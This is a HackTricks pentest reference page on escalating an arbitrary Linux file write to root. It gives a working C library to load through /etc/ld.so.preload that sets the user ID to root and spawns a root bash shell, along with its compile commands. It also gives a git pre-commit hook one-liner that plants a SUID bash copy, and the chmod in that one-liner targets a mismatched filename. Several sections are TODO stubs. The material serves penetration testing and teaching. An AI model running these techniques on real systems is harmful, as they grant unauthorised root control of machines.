hacktricks/linux-hardening/privilege-escalation/write-to-root.md
Carlos Polop 731fca1d57 a
2024-07-18 18:14:56 +02:00

78 lines
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# Arbitrary File Write to Root
{% hint style="success" %}
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{% endhint %}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
{% endcode %}
### Cron & Time files
TODO
### Service & Socket files
TODO
### binfmt\_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
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<summary>Support HackTricks</summary>
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}